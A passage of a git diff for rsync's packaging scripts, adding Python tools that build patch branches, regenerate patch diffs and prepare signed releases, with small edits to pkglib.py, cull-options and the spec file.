{fn}\")\n+        if not os.path.isfile(fn):\n+            die(f\"File not found: {fn}\")\n+\n+    scanned = set()\n+    info = { }\n+\n+    patch_list = [ ]\n+    for fn in args.patch_files:\n+        m = re.match(r'^(?P<dir>.*?)(?P<name>[^/]+)\\.diff$', fn)\n+        patch = argparse.Namespace(**m.groupdict())\n+        if patch.name in scanned:\n+            continue\n+        patch.fn = fn\n+\n+        lines = [ ]\n+        commit_hash = None\n+        with open(patch.fn, 'r', encoding='utf-8') as fh:\n+            for line in fh:\n+                m = re.match(r'^based-on: (\\S+)', line)\n+                if m:\n+                    commit_hash = m[1]\n+                    break\n+                if (re.match(r'^index .*\\.\\..* \\d', line)\n+                 or re.match(r'^diff --git ', line)\n+                 or re.match(r'^--- (old|a)/', line)):\n+                    break\n+                lines.append(re.sub(r'\\s*\\Z', \"\\n\", line, 1))\n+        info_txt = ''.join(lines).strip() + \"\\n\"\n+        lines = None\n+\n+        parent = args.base_branch\n+        patches = re.findall(r'patch -p1 <%s/(\\S+)\\.diff' % args.patches_dir, info_txt)\n+        if patches:\n+            last = patches.pop()\n+            if last != patch.name:\n+                warn(f\"No identity patch line in {patch.fn}\")\n+                patches.append(last)\n+            if patches:\n+                parent = patches.pop()\n+                if parent not in scanned:\n+                    diff_fn = patch.dir + parent + '.diff'\n+                    if not os.path.isfile(diff_fn):\n+                        die(f\"Failed to find parent of {patch.fn}: {parent}\")\n+                    # Add parent to args.patch_files so that we will look for the\n+                    # parent's parent.  Any duplicates will be ignored.\n+                    args.patch_files.append(diff_fn)\n+        else:\n+            warn(f\"No patch lines found in {patch.fn}\")\n+\n+        info[patch.name] = [ parent, info_txt, commit_hash ]\n+\n+        patch_list.append(patch)\n+\n+    created = set()\n+    for patch in patch_list:\n+        create_branch(patch)\n+\n+    cmd_chk(['git', 'checkout', args.base_branch])\n+\n+\n+def create_branch(patch):\n+    if patch.name in created:\n+        return\n+    created.add(patch.name)\n+\n+    parent, info_txt, commit_hash = info[patch.name]\n+    parent = argparse.Namespace(dir=patch.dir, name=parent, fn=patch.dir + parent + '.diff')\n+\n+    if parent.name == args.base_branch:\n+        parent_branch = commit_hash if commit_hash else args.base_branch\n+    else:\n+        create_branch(parent)\n+        parent_branch = '/'.join(['patch', args.base_branch, parent.name])\n+\n+    branch = '/'.join(['patch', args.base_branch, patch.name])\n+    print(\"\\n\" + '=' * 64)\n+    print(f\"Processing {branch} ({parent_branch})\")\n+\n+    if patch.name in local_branch:\n+        cmd_chk(['git', 'branch', '-D', branch])\n+\n+    cmd_chk(['git', 'checkout', '-b', branch, parent_branch])\n+\n+    info_fn = 'PATCH.' + patch.name\n+    with open(info_fn, 'w', encoding='utf-8') as fh:\n+        fh.write(info_txt)\n+    cmd_chk(['git', 'add', info_fn])\n+\n+    with open(patch.fn, 'r', encoding='utf-8') as fh:\n+        patch_txt = fh.read()\n+\n+    cmd_run('patch -p1'.split(), input=patch_txt)\n+\n+    for fn in glob.glob('*.orig') + glob.glob('*/*.orig'):\n+        os.unlink(fn)\n+\n+    pos = 0\n+    new_file_re = re.compile(r'\\nnew file mode (?P<mode>\\d+)\\s+--- /dev/null\\s+\\+\\+\\+ b/(?P<fn>.+)')\n+    while True:\n+        m = new_file_re.search(patch_txt, pos)\n+        if not m:\n+            break\n+        os.chmod(m['fn'], int(m['mode'], 8))\n+        cmd_chk(['git', 'add', m['fn']])\n+        pos = m.end()\n+\n+    while True:\n+        cmd_chk('git status'.split())\n+        ans = input('Press Enter to commit, Ctrl-C to abort, or type a wild-name to add a new file: ')\n+        if ans == '':\n+            break\n+        cmd_chk(\"git add \" + ans, shell=True)\n+\n+    while True:\n+        s = cmd_run(['git', 'commit', '-a', '-m', f\"Creating branch from {patch.name}.diff.\"])\n+        if not s.returncode:\n+            break\n+        s = cmd_run([os.environ.get('SHELL', '/bin/sh')])\n+        if s.returncode:\n+            die('Aborting due to shell error code')\n+\n+\n+if __name__ == '__main__':\n+    parser = argparse.ArgumentParser(description=\"Create a git patch branch from an rsync patch file.\", add_help=False)\n+    parser.add_argument('--branch', '-b', dest='base_branch', metavar='BASE_BRANCH', default='master', help=\"The branch the patch is based on. Default: master.\")\n+    parser.add_argument('--add-missing', '-a', action='store_true', help=\"Add a branch for every patches/*.diff that doesn't have a branch.\")\n+    parser.add_argument('--skip-check', action='store_true', help=\"Skip the check that ensures starting with a clean branch.\")\n+    parser.add_argument('--delete', dest='delete_local_branches', action='store_true', help=\"Delete all the local patch/BASE/* branches, not just the ones that are being recreated.\")\n+    parser.add_argument('--patches-dir', '-p', metavar='DIR', default='patches', help=\"Override the location of the rsync-patches dir. Default: patches.\")\n+    parser.add_argument('patch_files', metavar='patches/DIFF_FILE', nargs='*', help=\"Specify what patch diff files to process. Default: all of them.\")\n+    parser.add_argument(\"--help\", \"-h\", action=\"help\", help=\"Output this help message and exit.\")\n+    args = parser.parse_args()\n+    main()\n+\n+# vim: sw=4 et ft=python\ndiff --git a/packaging/cull-options b/packaging/cull-options\nindex 1d0e6c9..e71818c 100755\n--- a/packaging/cull-options\n+++ b/packaging/cull-options\n@@ -20,8 +20,6 @@ long_opts = { # These include some extra long-args that BackupPC uses:\n         'links': 0,\n         'log-file': 3,\n         'munge-links': 0,\n-        # niceness_remote_option() constructs this outside options.c.\n-        'nice': 4,\n         'no-munge-links': -1,\n         'one-file-system': 0,\n         'owner': 0,\n@@ -103,8 +101,7 @@ def main():\n     txt += \"\"\"\n # To disable a long-named option, change its value to a -1.  The values mean:\n # 0 = the option has no arg; 1 = the arg doesn't need any checking; 2 = only\n-# check the path arg when receiving; 3 = always check the path arg; and 4 =\n-# allow only a non-elevating --nice setting.\n+# check the arg when receiving; and 3 = always check the arg.\n \"\"\"\n \n     print(txt, end='')\ndiff --git a/packaging/ftp.filt b/packaging/ftp.filt\ndeleted file mode 100644\nindex e045545..0000000\n--- a/packaging/ftp.filt\n+++ /dev/null\n@@ -1,2 +0,0 @@\n-- /generated-files/\n-- /binaries/\ndiff --git a/packaging/lsb/rsync.spec b/packaging/lsb/rsync.spec\nindex 9a0ea36..845b188 100644\n--- a/packaging/lsb/rsync.spec\n+++ b/packaging/lsb/rsync.spec\n@@ -1,6 +1,6 @@\n Summary: A fast, versatile, remote (and local) file-copying tool\n Name: rsync\n-Version: 3.5.2\n+Version: 3.4.1\n %define fullversion %{version}\n Release: 1\n %define srcdir src\n@@ -79,5 +79,5 @@ rm -rf $RPM_BUILD_ROOT\n %dir /etc/rsync-ssl/certs\n \n %changelog\n-* Wed Nov 04 2026 Rsync Project <rsync.project@gmail.com>\n-Released 3.5.2.\n+* Thu Jan 16 2025 Rsync Project <rsync.project@gmail.com>\n+Released 3.4.1.\ndiff --git a/packaging/patch-update b/packaging/patch-update\nnew file mode 100755\nindex 0000000..fd56a9d\n--- /dev/null\n+++ b/packaging/patch-update\n@@ -0,0 +1,244 @@\n+#!/usr/bin/env -S python3 -B\n+\n+# This script is used to turn one or more of the \"patch/BASE/*\" branches\n+# into one or more diffs in the \"patches\" directory.  Pass the option\n+# --gen if you want generated files in the diffs.  Pass the name of\n+# one or more diffs if you want to just update a subset of all the\n+# diffs.\n+\n+import os, sys, re, argparse, time, shutil\n+\n+sys.path = ['packaging'] + sys.path\n+\n+from pkglib import *\n+\n+MAKE_GEN_CMDS = [\n+        './prepare-source'.split(),\n+        'cd build && if test -f config.status ; then ./config.status ; else ../configure ; fi',\n+        'make -C build gen'.split(),\n+        ]\n+TMP_DIR = \"patches.gen\"\n+\n+os.environ['GIT_MERGE_AUTOEDIT'] = 'no'\n+\n+def main():\n+    global master_commit, parent_patch, description, completed, last_touch\n+\n+    if not os.path.isdir(args.patches_dir):\n+        die(f'No \"{args.patches_dir}\" directory was found.')\n+    if not os.path.isdir('.git'):\n+        die('No \".git\" directory present in the current dir.')\n+\n+    starting_branch, args.base_branch = check_git_state(args.base_branch, not args.skip_check, args.patches_dir)\n+\n+    master_commit = latest_git_hash(args.base_branch)\n+\n+    if cmd_txt_chk(['packaging/prep-auto-dir']).out == '':\n+        die('You must setup an auto-build-save dir to use this script.')\n+\n+    if args.gen:\n+        if os.path.lexists(TMP_DIR):\n+            die(f'\"{TMP_DIR}\" must not exist in the current directory.')\n+        gen_files = get_gen_files()\n+        os.mkdir(TMP_DIR, 0o700)\n+        for cmd in MAKE_GEN_CMDS:\n+            cmd_chk(cmd)\n+        cmd_chk(['rsync', '-a', *gen_files, f'{TMP_DIR}/master/'])\n+\n+    last_touch = int(time.time())\n+\n+    # Start by finding all patches so that we can load all possible parents.\n+    patches = sorted(list(get_patch_branches(args.base_branch)))\n+\n+    parent_patch = { }\n+    description = { }\n+\n+    for patch in patches:\n+        branch = f\"patch/{args.base_branch}/{patch}\"\n+        desc = ''\n+        proc = cmd_pipe(['git', 'diff', '-U1000', f\"{args.base_branch}...{branch}\", '--', f\"PATCH.{patch}\"])\n+        in_diff = False\n+        for line in proc.stdout:\n+            if in_diff:\n+                if not re.match(r'^[ +]', line):\n+                    continue\n+                line = line[1:]\n+                m = re.search(r'patch -p1 <patches/(\\S+)\\.diff', line)\n+                if m and m[1] != patch:\n+                    parpat = parent_patch[patch] = m[1]\n+                    if not parpat in patches:\n+                        die(f\"Parent of {patch} is not a local branch: {parpat}\")\n+                desc += line\n+            elif re.match(r'^@@ ', line):\n+                in_diff = True\n+        description[patch] = desc\n+        proc.communicate()\n+\n+    if args.patch_files: # Limit the list of patches to actually process\n+        valid_patches = patches\n+        patches = [ ]\n+        for fn in args.patch_files:\n+            name = re.sub(r'\\.diff$', '', re.sub(r'.+/', '', fn))\n+            if name not in valid_patches:\n+                die(f\"Local branch not available for patch: {name}\")\n+            patches.append(name)\n+\n+    completed = set()\n+\n+    for patch in patches:\n+        if patch in completed:\n+            continue\n+        if not update_patch(patch):\n+            break\n+\n+    if args.gen:\n+        shutil.rmtree(TMP_DIR)\n+\n+    while last_touch >= int(time.time()):\n+        time.sleep(1)\n+    cmd_chk(['git', 'checkout', starting_branch])\n+    cmd_chk(['packaging/prep-auto-dir'], discard='output')\n+\n+\n+def update_patch(patch):\n+    global last_touch\n+\n+    completed.add(patch) # Mark it as completed early to short-circuit any (bogus) dependency loops.\n+\n+    parent = parent_patch.get(patch, None)\n+    if parent:\n+        if parent not in completed:\n+            if not update_patch(parent):\n+                return 0\n+        based_on = parent = f\"patch/{args.base_branch}/{parent}\"\n+    else:\n+        parent = args.base_branch\n+        based_on = master_commit\n+\n+    print(f\"======== {patch} ========\")\n+\n+    while args.gen and last_touch >= int(time.time()):\n+        time.sleep(1)\n+\n+    branch = f\"patch/{args.base_branch}/{patch}\"\n+    s = cmd_run(['git', 'checkout', branch])\n+    if s.returncode != 0:\n+        return 0\n+\n+    s = cmd_run(['git', 'merge', based_on])\n+    ok = s.returncode == 0\n+    skip_shell = False\n+    if not ok or args.cmd or args.make or args.shell:\n+        cmd_chk(['packaging/prep-auto-dir'], discard='output')\n+    if not ok:\n+        print(f'\"git merge {based_on}\" incomplete -- please fix.')\n+        if not run_a_shell(parent, patch):\n+            return 0\n+        if not args.make and not args.cmd:\n+            skip_shell = True\n+    if args.make:\n+        if cmd_run(['packaging/smart-make']).returncode != 0:\n+            if not run_a_shell(parent, patch):\n+                return 0\n+            if not args.cmd:\n+                skip_shell = True\n+    if args.cmd:\n+        if cmd_run(args.cmd).returncode != 0:\n+            if not run_a_shell(parent, patch):\n+                return 0\n+            skip_shell = True\n+    if args.shell and not skip_shell:\n+        if not run_a_shell(parent, patch):\n+            return 0\n+\n+    with open(f\"{args.patches_dir}/{patch}.diff\", 'w', encoding='utf-8') as fh:\n+        fh.write(description[patch])\n+        fh.write(f\"\\nbased-on: {based_on}\\n\")\n+\n+        if args.gen:\n+            gen_files = get_gen_files()\n+            for cmd in MAKE_GEN_CMDS:\n+                cmd_chk(cmd)\n+            cmd_chk(['rsync', '-a', *gen_files, f\"{TMP_DIR}/{patch}/\"])\n+        else:\n+            gen_files = [ ]\n+        last_touch = int(time.time())\n+\n+        proc = cmd_pipe(['git', 'diff', based_on])\n+        skipping = False\n+        for line in proc.stdout:\n+            if skipping:\n+                if not re.match(r'^diff --git a/', line):\n+                    continue\n+                skipping = False\n+            elif re.match(r'^diff --git a/PATCH', line):\n+                skipping = True\n+                continue\n+            if not re.match(r'^index ', line):\n+                fh.write(line)\n+        proc.communicate()\n+\n+        if args.gen:\n+            e_tmp_dir = re.escape(TMP_DIR)\n+            diff_re  = re.compile(r'^(diff -Nurp) %s/[^/]+/(.*?) %s/[^/]+/(.*)' % (e_tmp_dir, e_tmp_dir))\n+            minus_re = re.compile(r'^\\-\\-\\- %s/[^/]+/([^\\t]+)\\t.*' % e_tmp_dir)\n+            plus_re  = re.compile(r'^\\+\\+\\+ %s/[^/]+/([^\\t]+)\\t.*' % e_tmp_dir)\n+\n+            if parent == args.base_branch:\n+                parent_dir = 'master'\n+            else:\n+                m = re.search(r'([^/]+)$', parent)\n+                parent_dir = m[1]\n+\n+            proc = cmd_pipe(['diff', '-Nurp', f\"{TMP_DIR}/{parent_dir}\", f\"{TMP_DIR}/{patch}\"])\n+            for line in proc.stdout:\n+                line = diff_re.sub(r'\\1 a/\\2 b/\\3', line)\n+                line = minus_re.sub(r'--- a/\\1', line)\n+                line =  plus_re.sub(r'+++ b/\\1', line)\n+                fh.write(line)\n+            proc.communicate()\n+\n+    return 1\n+\n+\n+def run_a_shell(parent, patch):\n+    m = re.search(r'([^/]+)$', parent)\n+    parent_dir = m[1]\n+    os.environ['PS1'] = f\"[{parent_dir}] {patch}: \"\n+\n+    while True:\n+        s = cmd_run([os.environ.get('SHELL', '/bin/sh')])\n+        if s.returncode != 0:\n+            ans = input(\"Abort? [n/y] \")\n+            if re.match(r'^y', ans, flags=re.I):\n+                return False\n+            continue\n+        cur_branch, is_clean, status_txt = check_git_status(0)\n+        if is_clean:\n+            break\n+        print(status_txt, end='')\n+\n+    cmd_run('rm -f build/*.o build/*/*.o')\n+\n+    return True\n+\n+\n+if __name__ == '__main__':\n+    parser = argparse.ArgumentParser(description=\"Turn a git branch back into a diff files in the patches dir.\", add_help=False)\n+    parser.add_argument('--branch', '-b', dest='base_branch', metavar='BASE_BRANCH', default='master', help=\"The branch the patch is based on. Default: master.\")\n+    parser.add_argument('--skip-check', action='store_true', help=\"Skip the check that ensures starting with a clean branch.\")\n+    parser.add_argument('--make', '-m', action='store_true', help=\"Run the smart-make script in every patch branch.\")\n+    parser.add_argument('--cmd', '-c', help=\"Run a command in every patch branch.\")\n+    parser.add_argument('--shell', '-s', action='store_true', help=\"Launch a shell for every patch/BASE/* branch updated, not just when a conflict occurs.\")\n+    parser.add_argument('--gen', metavar='DIR', nargs='?', const='', help='Include generated files. Optional DIR value overrides the default of using the \"patches\" dir.')\n+    parser.add_argument('--patches-dir', '-p', metavar='DIR', default='patches', help=\"Override the location of the rsync-patches dir. Default: patches.\")\n+    parser.add_argument('patch_files', metavar='patches/DIFF_FILE', nargs='*', help=\"Specify what patch diff files to process. Default: all of them.\")\n+    parser.add_argument(\"--help\", \"-h\", action=\"help\", help=\"Output this help message and exit.\")\n+    args = parser.parse_args()\n+    if args.gen == '':\n+        args.gen = args.patches_dir\n+    elif args.gen is not None:\n+        args.patches_dir = args.gen\n+    main()\n+\n+# vim: sw=4 et ft=python\ndiff --git a/packaging/pkglib.py b/packaging/pkglib.py\nindex f3d4e12..c2b2930 100644\n--- a/packaging/pkglib.py\n+++ b/packaging/pkglib.py\n@@ -206,14 +206,7 @@ def get_rsync_version():\n     die(\"Unable to find RSYNC_VERSION define in version.h\")\n \n \n-def get_NEWS_version_info(skip_version=None):\n-    \"\"\"Return (last_version, its protocol version, {version: protocol-change date}).\n-\n-    skip_version lets the caller exclude the version it is about to release.\n-    Its NEWS entry may already carry a release date -- dated by hand, or by an\n-    earlier run of --prepare-pr -- and would otherwise be reported as the\n-    PREVIOUS release, which is both wrong and fatal when it has no table row yet.\n-    \"\"\"\n+def get_NEWS_version_info():\n     rel_re = re.compile(r'^\\| \\S{2} \\w{3} \\d{4}\\s+\\|\\s+(?P<ver>\\d+\\.\\d+\\.\\d+)\\s+\\|\\s+(?P<pdate>\\d{2} \\w{3} \\d{4})?\\s+\\|\\s+(?P<pver>\\d+)\\s+\\|')\n     last_version = last_protocol_version = None\n     pdate = { }\n@@ -222,7 +215,7 @@ def get_NEWS_version_info(skip_version=None):\n         for line in fh:\n             if not last_version: # Find the first non-dev|pre version with a release date.\n                 m = re.search(r'rsync (\\d+\\.\\d+\\.\\d+) .*\\d\\d\\d\\d', line)\n-                if m and m[1] != skip_version:\n+                if m:\n                     last_version = m[1]\n             m = rel_re.match(line)\n             if m:\ndiff --git a/packaging/release-rsync b/packaging/release-rsync\nnew file mode 100755\nindex 0000000..755a38a\n--- /dev/null\n+++ b/packaging/release-rsync\n@@ -0,0 +1,414 @@\n+#!/usr/bin/env -S python3 -B\n+\n+# This script expects the directory ~/samba-rsync-ftp to exist and to be a\n+# copy of the /home/ftp/pub/rsync dir on samba.org.  When the script is done,\n+# the git repository in the current directory will be updated, and the local\n+# ~/samba-rsync-ftp dir will be ready to be rsynced to samba.org. See the\n+# script samba-rsync for an easy way to initialize the local ftp copy and to\n+# thereafter update the remote files from your local copy.\n+\n+# This script also expects to be able to gpg sign the resulting tar files\n+# using your default gpg key. Make sure that the html download.html file\n+# has a link to the relevant keys that are authorized to sign the tar files\n+# and also make sure that the following commands work as expected:\n+#\n+#   touch TeMp\n+#   gpg --sign TeMp\n+#   gpg --verify TeMp.gpg\n+#   gpg --sign TeMp\n+#   rm TeMp*\n+#\n+# The second time you sign the file it should NOT prompt you for your password\n+# (unless the timeout period has passed).  It will prompt about overriding the\n+# existing TeMp.gpg file, though.\n+\n+import os, sys, re, argparse, glob, shutil, signal\n+from datetime import datetime\n+from getpass import getpass\n+\n+sys.path = ['packaging'] + sys.path\n+\n+from pkglib import *\n+\n+os.environ['LESS'] = 'mqeiXR'; # Make sure that -F is turned off and -R is turned on.\n+dest = os.environ['HOME'] + '/samba-rsync-ftp'\n+ORIGINAL_PATH = os.environ['PATH']\n+\n+def main():\n+    if not os.path.isfile('packaging/release-rsync'):\n+        die('You must run this script from the top of your rsync checkout.')\n+\n+    now = datetime.now()\n+    cl_today = now.strftime('* %a %b %d %Y')\n+    year = now.strftime('%Y')\n+    ztoday = now.strftime('%d %b %Y')\n+    today = ztoday.lstrip('0')\n+\n+    curdir = os.getcwd()\n+\n+    signal.signal(signal.SIGINT, signal_handler)\n+\n+    if cmd_txt_chk(['packaging/prep-auto-dir']).out == '':\n+        die('You must setup an auto-build-save dir to use this script.');\n+\n+    auto_dir, gen_files = get_gen_files(True)\n+    gen_pathnames = [ os.path.join(auto_dir, fn) for fn in gen_files ]\n+\n+    dash_line = '=' * 74\n+\n+    print(f\"\"\"\\\n+{dash_line}\n+== This will release a new version of rsync onto an unsuspecting world. ==\n+{dash_line}\n+\"\"\")\n+\n+    with open('build/rsync.1') as fh:\n+        for line in fh:\n+            if line.startswith(r'.\\\" prefix='):\n+                doc_prefix = line.split('=')[1].strip()\n+                if doc_prefix != '/usr':\n+                    warn(f\"*** The documentation was built with prefix {doc_prefix} instead of /usr ***\")\n+                    die(\"*** Read the md2man script for a way to override this. ***\")\n+                break\n+            if line.startswith('.P'):\n+                die(\"Failed to find the prefix comment at the start of the rsync.1 manpage.\")\n+\n+    if not os.path.isdir(dest):\n+        die(dest, \"dest does not exist\")\n+    if not os.path.isdir('.git'):\n+        die(\"There is no .git dir in the current directory.\")\n+    if os.path.lexists('a'):\n+        die('\"a\" must not exist in the current directory.')\n+    if os.path.lexists('b'):\n+        die('\"b\" must not exist in the current directory.')\n+    if os.path.lexists('patches.gen'):\n+        die('\"patches.gen\" must not exist in the current directory.')\n+\n+    check_git_state(args.master_branch, True, 'patches')\n+\n+    curversion = get_rsync_version()\n+\n+    # All version values are strings!\n+    lastversion, last_protocol_version, pdate = get_NEWS_version_info()\n+    protocol_version, subprotocol_version = get_protocol_versions()\n+\n+    version = curversion\n+    m = re.search(r'pre(\\d+)', version)\n+    if m:\n+        version = re.sub(r'pre\\d+', 'pre' + str(int(m[1]) + 1), version)\n+    else:\n+        version = version.replace('dev', 'pre1')\n+\n+    ans = input(f\"Please enter the version number of this release: [{version}] \")\n+    if ans == '.':\n+        version = re.sub(r'pre\\d+', '', version)\n+    elif ans != '':\n+        version = ans\n+    if not re.match(r'^[\\d.]+(pre\\d+)?$', version):\n+        die(f'Invalid version: \"{version}\"')\n+\n+    v_ver = 'v' + version\n+    rsync_ver = 'rsync-' + version\n+\n+    if os.path.lexists(rsync_ver):\n+        die(f'\"{rsync_ver}\" must not exist in the current directory.')\n+\n+    out = cmd_txt_chk(['git', 'tag', '-l', v_ver]).out\n+    if out != '':\n+        print(f\"Tag {v_ver} already exists.\")\n+        ans = input(\"\\nDelete tag or quit? [Q/del] \")\n+        if not re.match(r'^del', ans, flags=re.I):\n+            die(\"Aborted\")\n+        cmd_chk(['git', 'tag', '-d', v_ver])\n+        if os.path.isdir('patches/.git'):\n+            cmd_chk(f\"cd patches && git tag -d '{v_ver}'\")\n+\n+    version = re.sub(r'[-.]*pre[-.]*', 'pre', version)\n+    if 'pre' in version and not curversion.endswith('dev'):\n+        lastversion = curversion\n+\n+    ans = input(f\"Enter the previous version to produce a patch against: [{lastversion}] \")\n+    if ans != '':\n+        lastversion = ans\n+    lastversion = re.sub(r'[-.]*pre[-.]*', 'pre', lastversion)\n+\n+    rsync_lastver = 'rsync-' + lastversion\n+    if os.path.lexists(rsync_lastver):\n+        die(f'\"{rsync_lastver}\" must not exist in the current directory.')\n+\n+    m = re.search(r'(pre\\d+)', version)\n+    pre = m[1] if m else ''\n+\n+    release = '0.1' if pre else '1'\n+    ans = input(f\"Please enter the RPM release number of this release: [{release}] \")\n+    if ans != '':\n+        release = ans\n+    if pre:\n+        release += '.' + pre\n+\n+    finalversion = re.sub(r'pre\\d+', '', version)\n+    proto_changed = protocol_version != last_protocol_version\n+    if proto_changed:\n+        if finalversion in pdate:\n+            proto_change_date = pdate[finalversion]\n+        else:\n+            while True:\n+                ans = input(\"On what date did the protocol change to {protocol_version} get checked in? (dd Mmm yyyy) \")\n+                if re.match(r'^\\d\\d \\w\\w\\w \\d\\d\\d\\d$', ans):\n+                    break\n+            proto_change_date = ans\n+    else:\n+        proto_change_date = ' ' * 11\n+\n+    if 'pre' in lastversion:\n+        if not pre:\n+            die(\"You should not diff a release version against a pre-release version.\")\n+        srcdir = srcdiffdir = lastsrcdir = 'src-previews'\n+        skipping = ' ** SKIPPING **'\n+    elif pre:\n+        srcdir = srcdiffdir = 'src-previews'\n+        lastsrcdir = 'src'\n+        skipping = ' ** SKIPPING **'\n+    else:\n+        srcdir = lastsrcdir = 'src'\n+        srcdiffdir = 'src-diffs'\n+        skipping = ''\n+\n+    print(f\"\"\"\n+{dash_line}\n+version is \"{version}\"\n+lastversion is \"{lastversion}\"\n+dest is \"{dest}\"\n+curdir is \"{curdir}\"\n+srcdir is \"{srcdir}\"\n+srcdiffdir is \"{srcdiffdir}\"\n+lastsrcdir is \"{lastsrcdir}\"\n+release is \"{release}\"\n+\n+About to:\n+    - tweak SUBPROTOCOL_VERSION in rsync.h, if needed\n+    - tweak the version in version.h and the spec files\n+    - tweak NEWS.md to ensure header values are correct\n+    - generate configure.sh, config.h.in, and proto.h\n+    - page through the differences\n+\"\"\")\n+    ans = input(\"<Press Enter to continue> \")\n+\n+    specvars = {\n+        'Version:': finalversion,\n+        'Release:': release,\n+        '%define fullversion': f'%{{version}}{pre}',\n+        'Released': version + '.',\n+        '%define srcdir': srcdir,\n+        }\n+\n+    tweak_files = 'version.h rsync.h'.split()\n+    tweak_files += glob.glob('packaging/*.spec')\n+    tweak_files += glob.glob('packaging/*/*.spec')\n+\n+    for fn in tweak_files:\n+        with open(fn, 'r', encoding='utf-8') as fh:\n+            old_txt = txt = fh.read()\n+        if fn == 'version.h':\n+            x_re = re.compile(r'^(#define RSYNC_VERSION).*', re.M)\n+            msg = f\"Unable to update RSYNC_VERSION in {fn}\"\n+            txt = replace_or_die(x_re, r'\\1 \"%s\"' % version, txt, msg)\n+        elif '.spec' in fn:\n+            for var, val in specvars.items():\n+                x_re = re.compile(r'^%s .*' % re.escape(var), re.M)\n+                txt = replace_or_die(x_re, var + ' ' + val, txt, f\"Unable to update {var} in {fn}\")\n+            x_re = re.compile(r'^\\* \\w\\w\\w \\w\\w\\w \\d\\d \\d\\d\\d\\d (.*)', re.M)\n+            txt = replace_or_die(x_re, r'%s \\1' % cl_today, txt, f\"Unable to update ChangeLog header in {fn}\")\n+        elif fn == 'rsync.h':\n+            x_re = re.compile('(#define\\s+SUBPROTOCOL_VERSION)\\s+(\\d+)')\n+            repl = lambda m: m[1] + ' ' + ('0' if not pre or not proto_changed else '1' if m[2] == '0' else m[2])\n+            txt = replace_or_die(x_re, repl, txt, f\"Unable to find SUBPROTOCOL_VERSION define in {fn}\")\n+        elif fn == 'NEWS.md':\n+            efv = re.escape(finalversion)\n+            x_re = re.compile(r'^# NEWS for rsync %s \\(UNRELEASED\\)\\s+## Changes in this version:\\n' % efv\n+                    + r'(\\n### PROTOCOL NUMBER:\\s+- The protocol number was changed to \\d+\\.\\n)?')\n+            rel_day = 'UNRELEASED' if pre else today\n+            repl = (f'# NEWS for rsync {finalversion} ({rel_day})\\n\\n'\n+                + '## Changes in this version:\\n')\n+            if proto_changed:\n+                repl += f'\\n### PROTOCOL NUMBER:\\n\\n - The protocol number was changed to {protocol_version}.\\n'\n+            good_top = re.sub(r'\\(.*?\\)', '(UNRELEASED)', repl, 1)\n+            msg = f\"The top lines of {fn} are not in the right format.  It should be:\\n\" + good_top\n+            txt = replace_or_die(x_re, repl, txt, msg)\n+            x_re = re.compile(r'^(\\| )(\\S{2} \\S{3} \\d{4})(\\s+\\|\\s+%s\\s+\\| ).{11}(\\s+\\| )\\S{2}(\\s+\\|+)$' % efv, re.M)\n+            repl = lambda m: m[1] + (m[2] if pre else ztoday) + m[3] + proto_change_date + m[4] + protocol_version + m[5]\n+            txt = replace_or_die(x_re, repl, txt, f'Unable to find \"| ?? ??? {year} | {finalversion} | ... |\" line in {fn}')\n+        else:\n+            die(f\"Unrecognized file in tweak_files: {fn}\")\n+\n+        if txt != old_txt:\n+            print(f\"Updating {fn}\")\n+            with open(fn, 'w', encoding='utf-8') as fh:\n+                fh.write(txt)\n+\n+    cmd_chk(['packaging/year-tweak'])\n+\n+    print(dash_line)\n+    cmd_run(\"git diff\".split())\n+\n+    srctar_name = f\"{rsync_ver}.tar.gz\"\n+    pattar_name = f\"rsync-patches-{version}.tar.gz\"\n+    diff_name = f\"{rsync_lastver}-{version}.diffs.gz\"\n+    srctar_file = os.path.join(dest, srcdir, srctar_name)\n+    pattar_file = os.path.join(dest, srcdir, pattar_name)\n+    diff_file = os.path.join(dest, srcdiffdir, diff_name)\n+    lasttar_file = os.path.join(dest, lastsrcdir, rsync_lastver + '.tar.gz')\n+\n+    print(f\"\"\"\\\n+{dash_line}\n+\n+About to:\n+    - git commit all changes\n+    - run a full build, ensuring that the manpages & configure.sh are up-to-date\n+    - merge the {args.master_branch} branch into the patch/{args.master_branch}/* branches\n+    - update the files in the \"patches\" dir and OPTIONALLY (if you type 'y') to\n+      run patch-update with the --make option (which opens a shell on error)\n+\"\"\")\n+    ans = input(\"<Press Enter OR 'y' to continue> \")\n+\n+    s = cmd_run(['git', 'commit', '-a', '-m', f'Preparing for release of {version} [buildall]'])\n+    if s.returncode:\n+        die('Aborting')\n+\n+    cmd_chk('touch configure.ac && packaging/smart-make && make gen')\n+\n+    print('Creating any missing patch branches.')\n+    s = cmd_run(f'packaging/branch-from-patch --branch={args.master_branch} --add-missing')\n+    if s.returncode:\n+        die('Aborting')\n+\n+    print('Updating files in \"patches\" dir ...')\n+    s = cmd_run(f'packaging/patch-update --branch={args.master_branch}')\n+    if s.returncode:\n+        die('Aborting')\n+\n+    if re.match(r'^y', ans, re.I):\n+        print(f'\\nRunning smart-make on all \"patch/{args.master_branch}/*\" branches ...')\n+        cmd_run(f\"packaging/patch-update --branch={args.master_branch} --skip-check --make\")\n+\n+    if os.path.isdir('patches/.git'):\n+        s = cmd_run(f\"cd patches && git commit -a -m 'The patches for {version}.'\")\n+        if s.returncode:\n+            die('Aborting')\n+\n+    print(f\"\"\"\\\n+{dash_line}\n+\n+About to:\n+    - create signed tag for this release: {v_ver}\n+    - create release diffs, \"{diff_name}\"\n+    - create release tar, \"{srctar_name}\"\n+    - generate {rsync_ver}/patches/* files\n+    - create patches tar, \"{pattar_name}\"\n+    - update top-level README.md, NEWS.md, TODO, and ChangeLog\n+    - update top-level rsync*.html manpages\n+    - gpg-sign the release files\n+    - update hard-linked top-level release files{skipping}\n+\"\"\")\n+    ans = input(\"<Press Enter to continue> \")\n+\n+    # TODO: is there a better way to ensure that our passphrase is in the agent?\n+    cmd_run(\"touch TeMp; gpg --sign TeMp; rm TeMp*\")\n+\n+    out = cmd_txt(f\"git tag -s -m 'Version {version}.' {v_ver}\", capture='combined').out\n+    print(out, end='')\n+    if 'bad passphrase' in out or 'failed' in out:\n+        die('Aborting')\n+\n+    if os.path.isdir('patches/.git'):\n+        out = cmd_txt(f\"cd patches && git tag -s -m 'Version {version}.' {v_ver}\", capture='combined').out\n+        print(out, end='')\n+        if 'bad passphrase' in out or 'failed' in out:\n+            die('Aborting')\n+\n+    os.environ['PATH'] = ORIGINAL_PATH\n+\n+    # Extract the generated files from the old tar.\n+    tweaked_gen_files = [ os.path.join(rsync_lastver, fn) for fn in gen_files ]\n+    cmd_run(['tar', 'xzf', lasttar_file, *tweaked_gen_files])\n+    